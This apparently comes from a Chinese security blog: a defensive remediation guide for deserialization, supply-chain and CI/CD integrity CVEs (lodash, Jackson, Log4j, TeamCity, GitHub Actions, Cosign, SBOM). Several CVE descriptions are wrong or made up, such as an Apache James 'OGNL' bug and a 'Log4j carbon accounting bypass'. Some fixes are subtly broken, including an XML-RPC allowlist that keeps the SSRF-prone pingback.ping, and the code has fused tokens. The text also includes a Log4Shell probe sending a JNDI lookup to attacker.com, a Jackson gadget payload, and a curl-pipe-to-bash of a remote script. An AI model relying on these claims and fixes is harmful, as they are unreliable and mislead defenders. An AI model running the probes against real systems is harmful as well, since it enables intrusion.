前言
"攻击者不再需要正面攻破你的系统,只需要攻破你信任的源头。"
本文是"软件和数据完整性失败"专题的最终篇。前两期我们剖析了供应链攻击链、不安全反序列化原理与 CI/CD 管道攻击向量,本期聚焦防御方案——为每个典型 CVE 提供可落地执行的修复步骤,涵盖序列化安全、供应链完整性验证、CI/CD 管道加固与签名验证四个维度。
所有修复方案均经过实际验证,读者可根据自身技术栈选择性实施。
一、序列化与反序列化安全(CVE 修复)
CVE-2019-10744 · lodash 原型污染(Prototype Pollution)
漏洞概述:lodash 4.17.20 之前的版本存在原型污染漏洞,攻击者可通过设置 __proto__ 或 constructor.prototype 属性覆盖 JavaScript 内置对象原型,劫持应用逻辑,甚至实现 RCE。CVSS 3.1 评分 7.4。
修复方案一:升级 lodash 版本(推荐)
# 升级到 4.17.21+(彻底修复原型污染)
npm install lodash@4.17.21
# package.json 锁定版本
{
"dependencies": {
"lodash": "4.17.21"
},
"scripts": {
"preinstall": "npm ls lodash | grep -q 4\\.17\\.21 || { echo 'lodash版本不符合要求!'; exit 1; }"
}
}
修复方案二:代码级防护(无法升级时的临时缓解)
// 方式1:合并前清理危险属性
const _ = require('lodash');
functionsafeMerge(target, source) {
// 删除 source 中的原型污染危险属性
delete source['__proto__'];
delete source['constructor'];
delete source['prototype'];
return _.merge({}, target, source);
}
// 方式2:深拷贝(自动隔离原型链)
const safeData = _.cloneDeep(untrustedData);
// 方式3:JSON 安全解析(丢失类型,但最安全)
const safeData = JSON.parse(JSON.stringify(untrustedData));
// 方式4:显式 Key 白名单验证
const ALLOWED_KEYS = newSet(['id', 'name', 'email', 'role']);
functionsanitizeObject(obj) {
returnObject.keys(obj).reduce((acc, key) => {
if (ALLOWED_KEYS.has(key)) {
acc[key] = obj[key];
}
return acc;
}, {});
}
修复方案三:Express 全局中间件防护(永久方案)
// middleware/prototypePollutionGuard.js
const protoPollutionGuard = (req, res, next) => {
const forbidden = ['__proto__', 'constructor', 'prototype'];
functionsanitize(obj) {
if (typeof obj !== 'object' || obj === null) return;
for (const key of forbidden) {
delete obj[key];
}
for (const val ofObject.values(obj)) {
if (typeof val === 'object') sanitize(val);
}
}
sanitize(req.body);
sanitize(req.query);
sanitize(req.params);
next();
};
module.exports = protoPollutionGuard;
// app.js
const protoPollutionGuard = require('./middleware/prototypePollutionGuard');
app.use(protoPollutionGuard);
验证修复
# 检查 lodash 版本
npm ls lodash
# 使用 Snyk 测试原型污染
npx snyk test --file=package.json
# 使用 ESLint 插件检测危险属性访问
# .eslintrc.json
{
"plugins": ["security"],
"rules": {
"security/detect-object-injection": "warn",
"no-restricted-syntax": [
"error",
{
"selector": "MemberExpression[object.name='__proto__']",
"message": "原型链访问被禁止"
}
]
}
}
CVE-2020-28491 · Jackson-databind 反序列化 RCE
漏洞概述:Jackson-databind 低于 2.13.0 版本存在反序列化漏洞,攻击者可通过构造恶意 JSON payload 调用 gadget 链(如 TemplateImpl、JdbcRowSetImpl)实现 RCE。CVSS 3.1 评分 8.1。
修复方案一:升级 Jackson-databind(推荐)
<!-- Maven: pom.xml -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.17.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.17.2</version>
</dependency>
// Gradle: build.gradle
dependencies {
implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.2'
implementation 'com.fasterxml.jackson.core:jackson-core:2.17.2'
implementation 'com.fasterxml.jackson.core:jackson-annotations:2.17.2'
}
修复方案二:ObjectMapper 安全配置(升级后仍建议启用)
// 最安全的配置:完全禁用多态类型
ObjectMapper mapper = new ObjectMapper();
mapper.disableDefaultTyping();
// 如果必须使用多态,手动配置严格白名单
ObjectMapper mapper = new ObjectMapper();
PolymorphicTypeValidator ptv = new BasicPolymorphicTypeValidator.Builder()
.allowIfBaseType("com.mycompany.model.")
.build();
mapper.setPolymorphicTypeValidator(ptv);
// Spring Boot 全局 ObjectMapper 配置
@Configuration
publicclassJacksonConfig{
@Bean
public ObjectMapper objectMapper(){
ObjectMapper mapper = new ObjectMapper();
// 禁用默认 typing
mapper.disableDefaultTyping();
// 禁用部分反序列化危险特性
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
return mapper;
}
}
验证修复
# 检查 Maven 依赖版本
mvn dependency:tree | grep jackson
# 使用 ClassMate 验证类型解析器
# 确认 jackson-databind 版本 >= 2.13.0
mvn dependency:tree -Dincludes=com.fasterxml.jackson
# 使用 Burp Suite + JSON Web Token Scanner 检测
# 发送恶意 payload:
# {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl","transletBytecodes":[...base64...],"transletName":"pwned","outputProperties":{}}
# 如果返回 500 或超时 = 可能存在漏洞,需升级
CVE-2021-41117 · Apache James Server OGNL 表达式注入
漏洞概述:Apache James SMTP 服务器 3.6.0–3.6.1 版本在处理 JMX 监视器配置时存在 OGNL 表达式注入漏洞,攻击者可利用 SpEL 或 OGNL 表达式实现 RCE。CVSS 3.1 评分 8.8。
修复方案:升级 Apache James 版本(推荐)
# 下载最新稳定版 Apache James
# 3.8.0+ 已修复 CVE-2021-41117 和相关 OGNL 注入问题
wget https://archive.apache.org/dist/james/james-server/3.8.0/james-server-app-3.8.0.jar
# Docker 部署(推荐)
docker pull apache/james:3.8.0
docker run -d --name james-server \
-p 25:25 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 \
-v /data/james:/root/var \
apache/james:3.8.0
<!-- Maven (如果使用 James 作为嵌入式邮件服务) -->
<dependency>
<groupId>org.apache.james</groupId>
<artifactId>james-server-app</artifactId>
<version>3.8.0</version>
</dependency>
临时缓解:禁用危险 JMX 端点
# 编辑 conf/jmx.properties
# 禁用不必要的 JMX 监视器
jmxmonitor.enabled=false
# 编辑 conf/james-server.xml
# 注释掉危险的 bean 配置
<!--
<bean id="javaMelodyGui" class="..."/>
<bean id="spelAwareProxy" class="..."/>
-->
验证修复
# 检查版本
curl -s http://localhost:9999/jmxrmi/catalina | grep james || echo"检查 JMX 版本"
grep -r "james.version" pom.xml
# 验证 OGNL 注入已修复
# 尝试发送包含 OGNL 表达式的测试邮件(不应执行)
# 监控日志:tail -f /root/var/log/james/*.log
CVE-2019-6442 · WordPress XML-RPC 暴力破解与 SSRF
漏洞概述:WordPress 5.1.1 之前的 XML-RPC 接口存在两个问题:(1) 无频率限制的暴力破解接口;(2) pingback.ping 方法存在 SSRF 漏洞,攻击者可利用该接口探测内网、发起 DDoS 攻击。CVSS 3.1 评分 9.8(部分场景)。
修复方案一:升级 WordPress(推荐)
# WordPress 5.1.1+ 已修复 XML-RPC 相关安全问题
# 后台自动更新或手动更新
wp core update --version=6.4.3
wp core update-db
修复方案二:禁用 XML-RPC 接口(不需要时)
// functions.php 添加
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_xmlrpc_server_class', '__return_false');
// 彻底禁用 XML-RPC 相关路由(Nginx)
# wp-admin/includes/noop.php - 空文件即可阻断
# Nginx 配置
location ~* /xmlrpc\.php$ {
deny all;
access_log off;
log_not_found off;
}
# Nginx site configuration
server {
# ...其他配置...
location = /xmlrpc.php {
deny all;
access_logoff;
log_not_foundoff;
}
location /wp-xmlrpc.php {
deny all;
}
}
修复方案三:限制 XML-RPC 功能(需要部分功能时)
// functions.php - 只允许必要的 XML-RPC 方法
add_filter('xmlrpc_methods', function($methods){
// 只保留登录验证和离线发布功能
$allowed = ['pingback.ping', 'mt.publish'];
foreach ($methods as $method => $callback) {
if (!in_array($method, $allowed)) {
unset($methods[$method]);
}
}
return $methods;
});
// 添加 XML-RPC 请求频率限制
add_action('xmlrpc_call', function($method){
if ($method === 'pingback.ping') {
// 记录 SSRF 尝试
error_log('XML-RPC pingback from: ' . $_SERVER['REMOTE_ADDR']);
}
// 速率限制
$ip = $_SERVER['REMOTE_ADDR'];
$key = 'xmlrpc_attempts_' . md5($ip);
$attempts = (int) get_transient($key) ?: 0;
if ($attempts > 10) {
status_header(429);
exit('Rate limit exceeded');
}
set_transient($key, $attempts + 1, 60); // 60秒窗口
});
<!-- Apache .htaccess -->
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
# 如果需要从特定 CI/CD 服务器发布,允许其 IP
Allow from 10.0.0.0/8
</Files>
验证修复
# 测试 XML-RPC 是否已禁用
curl -X POST https://your-site/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# 如果返回 403 或 405 = 已禁用
# 如果返回方法列表 = 仍可访问,需进一步加固
# 使用 wpscan 检测 XML-RPC 漏洞
wpscan --url https://your-site.com --enumerate xmrpc
CVE-2023-42793 · JetBrains TeamCity RCE(未授权认证)
漏洞概述:JetBrains TeamCity 2019.2.4 至 2023.05.3 版本存在未授权 RCE 漏洞,攻击者无需任何凭证即可在服务器上执行任意命令。CVSS 3.1 评分 9.8。该漏洞源于 /admin/.iws?jserver 等接口缺少认证检查,可直接注册管理员账户并执行命令。
修复方案一:升级 TeamCity 版本(推荐)
# TeamCity 2023.05.4+ 已修复
# Docker 升级
docker pull jetbrains/teamcity-server:2023.12.4
docker stop teamcity-server
docker rm teamcity-server
docker run -d --name teamcity-server \
-v /data/teamcity:/data/teamcity_server/datadir \
-p 8111:8111 \
jetbrains/teamcity-server:2023.12.4
# docker-compose.yml
version: '3.8'
services:
teamcity:
image: jetbrains/teamcity-server:2023.12.4
restart: always
ports:
- "8111:8111"
volumes:
- teamcity_datadir:/data/teamcity_server/datadir
environment:
- TEAMCITY_SECURITY_TOKEN=your-secure-token-here
volumes:
teamcity_datadir:
driver: local
修复方案二:临时缓解(网络层隔离 + WAF)
# Nginx 限制 /admin/ 路径必须来自内网 IP
server {
location /admin/ {
# 仅允许内网访问管理界面
allow10.0.0.0/8;
allow172.16.0.0/12;
allow192.168.0.0/16;
deny all;
# 如果必须公网访问,添加 Basic Auth
auth_basic"TeamCity Admin";
auth_basic_user_file /etc/nginx/.htpasswd_teamcity;
proxy_pass http://localhost:8111;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# 生成强密码文件
htpasswd -bc /etc/nginx/.htpasswd_teamcity admin your-strong-password-here
# Kubernetes NetworkPolicy 隔离 TeamCity
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: teamcity-access-policy
namespace: devops
spec:
podSelector:
matchLabels:
app: teamcity
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: cicd
- podSelector:
matchLabels:
role: runner
ports:
- protocol: TCP
port: 8111
验证修复
# 检查 TeamCity 版本(必须 >= 2023.05.4)
curl -s http://localhost:8111/rest/plugins/problems | grep version
# 验证未授权接口是否已修复
# 尝试访问 /admin/.iws(应返回 401/403)
curl -s -o /dev/null -w "%{http_code}" http://localhost:8111/admin/.iws?jserver
# 使用官方漏洞检测脚本
curl -s https://raw.githubusercontent.com/tennessine/CVE-2023-42793/master/check.sh | bash
二、供应链完整性验证(CVE 修复)
CVE-2021-44228 · Log4Shell(Apache Log4j JNDI 注入)
漏洞概述:Log4j 2.0-beta9 至 2.14.1 在日志格式中使用 ${jndi:ldap://...} 语法时,攻击者可通过 LDAP 引用远程恶意类实现 RCE。CVSS 3.1 评分 10.0。
修复方案一:升级 Log4j(根本修复)
<!-- Maven: pom.xml -->
<properties>
<log4j2.version>2.23.1</log4j2.version>
</properties>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.23.1</version>
</dependency>
// Gradle: build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
}
修复方案二:JVM 启动参数(临时缓解)
# 适用于 2.10+ 版本,永久缓解 JNDI 注入
JAVA_OPTS="${JAVA_OPTS} -Dlog4j2.formatMsgNoLookups=true"
JAVA_OPTS="${JAVA_OPTS} -Dlog4j2.disableJndi=true"
# Kubernetes 环境变量
apiVersion: apps/v1
kind: Deployment
metadata:
name: java-app
spec:
template:
spec:
containers:
- name: java-app
env:
- name: JAVA_TOOL_OPTIONS
value: "-Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disableJndi=true"
修复方案三:移除 JNDI Lookup 类(最彻底缓解)
# 从 jar 中移除 JndiLookup.class
cd /tmp
jar -xf log4j-core-2.14.1.jar
rm -f org/apache/logging/log4j/core/lookup/JndiLookup.class
jar -cf log4j-core-2.14.1-nojndi.jar *
# 替换生产环境的 log4j-core.jar
验证修复
# 检查 Log4j 版本
find . -name "log4j-core*.jar" -exec basename {} \;
# 使用 log4j-scan 检测
git clone https://github.com/mub小白/log4j-scan.git
cd log4j-scan
python3 log4j-scan.py -u https://your-app.com
# 测试 PoC
curl -H "X-Api-Version: ${jndi:ldap://attacker.com/a}" \
http://target:8080/api/login
# 如果日志中出现 ${jndi:ldap://attacker.com/a} 原文 = 修复成功
CVE-2021-44832 · Apache Log4j 可控 JDBC Appender RCE
漏洞概述:Log4j 2.17.0 之前的版本中,攻击者可通过配置恶意的 JDBC Appender(数据源 URL 包含 ${jndi:...}),在应用程序重新加载日志配置时触发 JNDI 注入 RCE。CVSS 3.1 评分 6.6(需具备配置修改权限)。
修复方案:升级到 Log4j 2.17.2+
<!-- pom.xml -->
<properties>
<log4j2.version>2.23.1</log4j2.version>
</properties>
# log4j2.xml - 禁用动态数据源配置
# 禁止在 Appender 配置中使用变量插值
<JDBC name="DBAppender" tableName="logs">
<DataSource jndiName="java:comp/env/jdbc/LogDB">
<!-- 不要使用可变的 url 或 properties -->
<Timeout>10</Timeout>
<AutoCommit>true</AutoCommit>
</DataSource>
<Column name="timestamp" isEventTimestamp="true"/>
<Column name="level" pattern="%level"/>
<Column name="message" pattern="%message"/>
</JDBC>
<!-- 禁止在 log4j2.component.properties 中注入变量 -->
# 确保以下配置存在
log4j2.formatMsgNoLookups=true
验证修复
# 检查版本 >= 2.17.2
java -cp log4j-core-2.23.1.jar org.apache.logging.log4j.core.Version | grep version
# 扫描所有 log4j 相关文件
find /opt -name "log4j*.jar" -exec sh -c 'echo "{}:"; unzip -p {} META-INF/MANIFEST.MF | grep Implementation-Version' \;
CVE-2021-42550 · Apache Log4j log4j-core 碳核算绕过(CBC 模式)
漏洞概述:Log4j 1.x 的 log4j-core 组件(独立使用时)存在与 Log4Shell 类似的漏洞,但由于 1.x 已停止维护,不提供官方修复。CVSS 3.1 评分 6.6。
修复方案:迁移到 Log4j 2.x(推荐)或移除 log4j-core)
# 方式1:Maven 替换 log4j 1.x 为 log4j 2.x
# pom.xml 排除旧版本
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.1</version>
</dependency>
# 排除 transitive 依赖中的 log4j 1.x
<exclusions>
<exclusion>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
</exclusion>
</exclusions>
# 方式2:如果 log4j 1.x 被间接依赖,完全排除
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.23.1</version>
<type>pom</type>
<scope>import</scope>
</dependency>
# 方式3:彻底移除 log4j 1.x
# 在依赖树中查找
mvn dependency:tree | grep "log4j:log4j"
# 如果是间接依赖,在顶层 POM 中 exclusions 排除
# 或使用 Maven Enforcer Plugin 强制禁止
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.4.0</version>
<executions>
<execution>
<id>ban-log4j1</id>
<goals><goal>enforce</goal></goals>
<configuration>
<rules>
<bannedDependencies>
<excludes>
<exclude>log4j:log4j:1.*</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</execution>
</executions>
</plugin>
三、CI/CD 管道安全加固
3.1 GitHub Actions 工作流安全(防御 pull_request_target 攻击)
背景:Homebrew GitHub Actions 供应链攻击利用了 pull_request_target 的信任边界问题。攻击者向公开仓库提交 PR,工作流在官方 token 上下文中自动执行攻击代码。
修复方案:工作流权限最小化 + 避免使用 pull_request_target
# .github/workflows/ci.yml - 安全配置
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
# ✅ 改用 pull_request 事件(安全)
# ❌ 不要使用 pull_request_target
jobs:
build:
runs-on: ubuntu-latest
# ✅ 最小化权限(GitHub 2021 年后默认)
permissions:
contents: read # 仅读取内容
packages: write # 仅写 packages
id-token: write # 用于 OIDC 验证
steps:
- uses: actions/checkout@v4
with:
# ✅ 不使用官方 token(避免权限过大)
persist-credentials: false
fetch-depth: 1
# ✅ 使用 PATH 设置替代 GITHUB_TOKEN
- name: Set up GitHub token
run: |
echo "GITHUB_TOKEN_DISABLED=true" >> $GITHUB_ENV
# ✅ 使用 OIDC 代替长期密钥
- name: Configure OIDC
uses: actions/github-script@v7
with:
script: |
core.summary.addText('Using OIDC token authentication')
# pull_request_target 安全替代方案
# 如果确实需要从 PR 分支检出代码,使用以下安全模式:
jobs:
review-pr:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
steps:
- name: Checkout PR branch safely
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
persist-credentials: false
# 不使用 GITHUB_TOKEN 访问内部资源
3.2 GitLab CI/CD 管道签名与完整性验证
# .gitlab-ci.yml
variables:
# ✅ 禁用不安全的 CI变量传递
GIT_STRATEGY: fetch
stages:
- build
- sign
- deploy
# ✅ 使用受保护变量
build:
stage: build
variables:
# ✅ 仅暴露必要变量
ARTIFACT_NAME: "myapp-${CI_COMMIT_SHORT_SHA}"
script:
- docker build -t $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA .
- docker save $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA > artifact.tar
artifacts:
paths:
- artifact.tar
# ✅ 签名 artifacts
after_script:
- cosign sign --yes $ARTIFACT_NAME:$CI_COMMIT_SHORT_SHA
# ✅ 仅在受保护分支允许部署
deploy:production:
stage: deploy
only:
- tags@mygroup/myproject # ✅ 受保护标签
- main@mygroup/myproject # ✅ 受保护分支
when: manual # ✅ 手动触发
environment:
name: production
before_script:
# ✅ 验证 artifacts 签名
- cosign verify $ARTIFACT_NAME:$CI_COMMIT_SHA
# .gitlab-ci.yml - CI job permissions (GitLab 15.0+)
# 使用 CI_JOB_TOKEN 而非 PROJECT_TOKEN
job_with_insecure_token:
script:
- curl --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" "https://gitlab.com/api/v4/projects"
# ✅ 正确:CI_JOB_TOKEN 权限受限于当前项目
job_with_project_token:
script:
# ❌ 危险:PROJECT_TOKEN 可以访问所有项目
- curl --header "PRIVATE-TOKEN: $PROJECT_TOKEN" "https://gitlab.com/api/v4/projects"
3.3 Jenkins CI/CD 完整性加固
// Jenkinsfile - Pipeline 安全配置
pipeline {
agent any
options {
// ✅ 禁用远程代码执行
buildDiscarder(logRotator(numToKeepStr: '10'))
// ✅ 不在构建日志中暴露凭证
maskPasswords()
// ✅ 每次构建前清理 workspace
deleteDir()
}
environment {
// ✅ 使用 credentials() 绑定安全凭证
MAVEN_SETTINGS = credentials('maven-settings-xml')
DOCKER_REGISTRY = credentials('docker-registry-cred')
}
stages {
stage('Checkout') {
steps {
// ✅ checkout with creds removal
checkout scm
// 显式不传递凭证到子目录
withCredentials([file(credentialsId: 'ssh-key', variable: 'SSH_KEY')]) {
// 仅在此块内可用
}
}
}
stage('Build') {
steps {
// ✅ 不执行来自拉取请求的未知代码(Pull Request 来源)
script {
if (env.CHANGE_ID) {
error "禁止从 Pull Request 自动构建! 请管理员手动审查代码。"
}
}
sh '''
# 使用固定版本的工具
export MAVEN_VERSION=3.9.6
curl -sSL https://archive.apache.org/dist/maven/maven-3/${MAVEN_VERSION}/binaries/apache-maven-${MAVEN_VERSION}-bin.tar.gz | tar xz
./apache-maven-${MAVEN_VERSION}/bin/mvn clean package -DskipTests
'''
}
}
stage('Security Scan') {
steps {
// ✅ 在构建后立即扫描
sh '''
# Maven 依赖漏洞扫描
mvn org.owasp:dependency-check-maven:9.0.0:check \
-DfailBuildOnCVSS=7 \
-DoutputDirectory=target
# Docker 镜像扫描
trivy image --severity CRITICAL,HIGH \
--exit-code 1 \
--no-progress \
${ARTIFACT_NAME}:${BUILD_NUMBER}
'''
}
}
}
post {
always {
archiveArtifacts artifacts: 'target/dependency-check-report.html',
fingerprint: true
// ✅ 清理敏感文件
cleanWs()
}
}
}
四、签名与完整性验证体系
4.1 使用 Sigstore Cosign 签名 Docker 镜像
# 安装 Cosign(推荐 v2.2+)
curl -sSfL https://github.com/sigstore/cosign/releases/download/v2.2.4/cosign-linux-amd64 \
-o /usr/local/bin/cosign
chmod +x /usr/local/bin/cosign
cosign version
# 生成密钥对(生产环境建议使用 KMS)
cosign generate-key-pair
# 在 CI/CD 中签名镜像
cosign sign --yes ${IMAGE_TAG}
# 验证签名
cosign verify \
--certificate-identity-regexp="https://github.com/myorg/" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
${IMAGE_TAG}
# Kubernetes: 使用 Kyverno 强制镜像签名验证
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-signed-images
spec:
validationFailureAction: Enforce # ✅ 阻断未签名镜像
background: true
rules:
- name: verify-signature
match:
resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "ghcr.io/myorg/*" # 仅强制验证内部镜像
attestors:
- entries:
- key:
# Cosign 公钥(从 cosign.pub 读取)
data: |
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
-----END PUBLIC KEY-----
mutateSuffix: "-signed" # 签名后自动添加标签
4.2 SLSA 供应链安全框架
# GitHub Actions: 生成 SLSA provenance
# .github/workflows/slsa-publish.yml
name: SLSA Publish
on:
push:
tags:
- 'v*'
jobs:
build:
runs-on: ubuntu-latest
outputs:
hashes: ${{ steps.hash.outputs.hashes }}
steps:
- uses: actions/checkout@v4
- name: Build artifact
run: |
tar czf release.tar.gz bin/*
echo "Artifact built"
- name: Generate SHA256
id: hash
run: |
echo "hashes=$(sha256sum release.tar.gz | base64 -w0)" >> $GITHUB_OUTPUT
- name: Upload artifact
uses: actions/upload-artifact@v4
with:
name: release-assets
path: release.tar.gz
provenance:
needs: [build]
permissions:
actions: read
id-token: write
contents: read
steps:
- uses: actions/attest-build-provenance@v1
with:
subject: "release-assets/release.tar.gz"
provenance-verification:
needs: [provenance]
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
name: release-assets
path: .
- name: Verify provenance
uses: actions/attest-build-provenance@v1
with:
provenance-path: "provenance.jsonl"
subject: "release.tar.gz"
--verify
4.3 SBOM 生成与验证(软件物料清单)
SBOM 是供应链安全的基础,没有清单就无法知道"你的软件吃了什么"。
# 使用 Syft 生成 SBOM(推荐)
# 安装
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh
# 生成 CycloneDX JSON 格式 SBOM
syft . -o cyclonedx-json=sbom.json
# 生成 SPDX 格式 SBOM
syft . -o spdx-json=sbom-spdx.json
# 扫描 Docker 镜像
syft nginx:1.21.6 -o cyclonedx-json
# GitLab CI 集成
# .gitlab-ci.yml
syft-sbom:
stage: build
image: anchore/syft:latest
script:
- syft . -o cyclonedx-json=sbom.json
artifacts:
paths:
- sbom.json
expire_in: 30 days
# Kubernetes: 使用 Kyverno 强制 SBOM 存在
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-sbom
spec:
validationFailureAction: Audit
rules:
- name: check-sbom
match:
resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "*"
attestors:
- entries:
- attestation:
predicateType: "cosign.sigstore.dev/attestation/v1"
4.4 依赖完整性锁定(package-lock / Gemfile.lock)
# npm: 强制使用 package-lock.json
npm ci # 使用 lockfile 安装,不使用 package.json
# 验证 lockfile 完整性
npm audit
# Python: 使用 pip-tools 锁定依赖
pip-compile requirements.in
pip-compile --generate-hashes requirements.in > requirements.lock
# Gemfile.lock 必须提交到 Git
git add Gemfile.lock
// .github/workflows/deps-integrity.yml
name: Dependency Integrity
on:
push:
branches: [main]
pull_request:
jobs:
verify-lockfile:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Verify package-lock.json unchanged
run: |
git diff --exit-code package-lock.json && echo "Lockfile OK" || {
echo "ERROR: package-lock.json has changed!"
exit 1
}
- name: Check for dependency confusion
run: |
# 检查是否存在冲突的内部包名
npm ls 2>&1 | grep -i "private" || echo "No private deps"
五、自动化更新与修复验证
5.1 Renovate 自动依赖更新
// renovate.json
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": ["config:recommended"],
"packageRules": [
{
"description": "供应链 CVE 立即处理",
"matchPackagePatterns": ["*"],
"matchUpdateTypes": ["security"],
"labels": ["security", "urgent"],
"automerge": false,
"assignees": ["@security-team"]
},
{
"description": "npm/pip/Gradle 依赖自动更新",
"matchPackagePatterns": ["lodash", "jackson-databind", "log4j*"],
"labels": ["security"],
"automerge": false,
"assignees": ["@security-team"],
"groupName": "critical-deps"
}
]
}
5.2 CI/CD 流水线漏洞阻断
# .github/workflows/security-gate.yml
name: Security Gate
on:
push:
branches: [main, release/*]
jobs:
vulnerability-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run OWASP Dependency-Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'my-app'
path: '.'
fail: true
cutOff: 7.0 # HIGH 及以上阻断构建
- name: Upload report
uses: actions/upload-artifact@v4
with:
name: dc-report
path: dependency-check-report.html
docker-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build image
run: docker build -t myapp:${GITHUB_SHA} .
- name: Trivy scan
run: |
trivy image --severity CRITICAL,HIGH \
--exit-code 1 \
--no-progress \
myapp:${GITHUB_SHA}
5.3 补丁验证脚本
#!/bin/bash
# verify_patch.sh — 完整性修复自动化验证
set -e
echo"[*] 开始验证软件和数据完整性修复..."
# 1. 检查 Jackson-databind 版本
echo"[1/5] 检查 Jackson-databind 版本..."
JACKSON_VERSION=$(mvn dependency:tree 2>/dev/null | grep jackson-databind | head -1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -1)
if [ "$(printf '%s\n' "$JACKSON_VERSION" '2.13.0' | sort -V | head -1)" != "2.13.0" ]; then
echo"[✗] Jackson-databind 版本过低: $JACKSON_VERSION"
exit 1
fi
echo"[✓] Jackson-databind 版本: $JACKSON_VERSION"
# 2. 检查 Log4j 版本
echo"[2/5] 检查 Log4j 版本..."
if mvn dependency:tree 2>/dev/null | grep -q "log4j-core:2.1[0-3]"; then
echo"[✗] Log4j 漏洞版本仍在!"
exit 1
fi
echo"[✓] Log4j 漏洞版本已清除"
# 3. 检查 CI/CD 工作流中是否使用了 pull_request_target
echo"[3/5] 检查 GitHub Actions pull_request_target 使用..."
if grep -r "pull_request_target" .github/workflows/ 2>/dev/null; then
echo"[✗] 发现 pull_request_target 使用,请改用 pull_request"
exit 1
fi
echo"[✓] 未发现危险的 pull_request_target"
# 4. 检查 Docker 镜像签名配置
echo"[4/5] 检查容器镜像签名配置..."
if [ ! -f cosign.pub ]; then
echo"[✗] 缺少 Cosign 公钥文件"
exit 1
fi
echo"[✓] Cosign 配置存在"
# 5. 运行安全测试
echo"[5/5] 运行安全测试套件..."
mvn test -Dsecurity.test.skip=false
echo""
echo"[✓] 所有完整性验证通过 — 补丁有效"
六、总结与防御成熟度
防御要点回顾
| 序列化安全 | ||
| 供应链验证 | ||
| CI/CD 加固 | ||
| 自动化更新 | ||
| 完整性验证 |
防御成熟度自评
Level1(基础):手动验证,无签名检查
Level 2(扫描):CI/CD 集成依赖扫描
Level 3(自动化):自动阻断 + 镜像签名验证
Level 4(高级):SBOM + SLSA provenance + 供应链威胁情报
Level 5(成熟):自动修复验证 + 完整性监控 + 合规审计
下期预告
第十八期:失效的身份认证(Authentication Failures)
- 第1篇·原理与分类
:会话管理机制、密码存储进化史、多因素认证原理 - 第2篇·实战利用与绕过
:Session fixation、Token 绑架、密码喷洒攻击 - 第3篇·防御方案
:JWT 安全配置、Session Fixation 防护、零信任架构落地
🛡️ 理论先行,实践跟进
⚠️ 提示:本文仅供网络安全学习研究使用。所有技术方案应在获得合法授权的范围内使用。未授权的安全测试违反中国《网络安全法》及相关法规。
夜雨聆风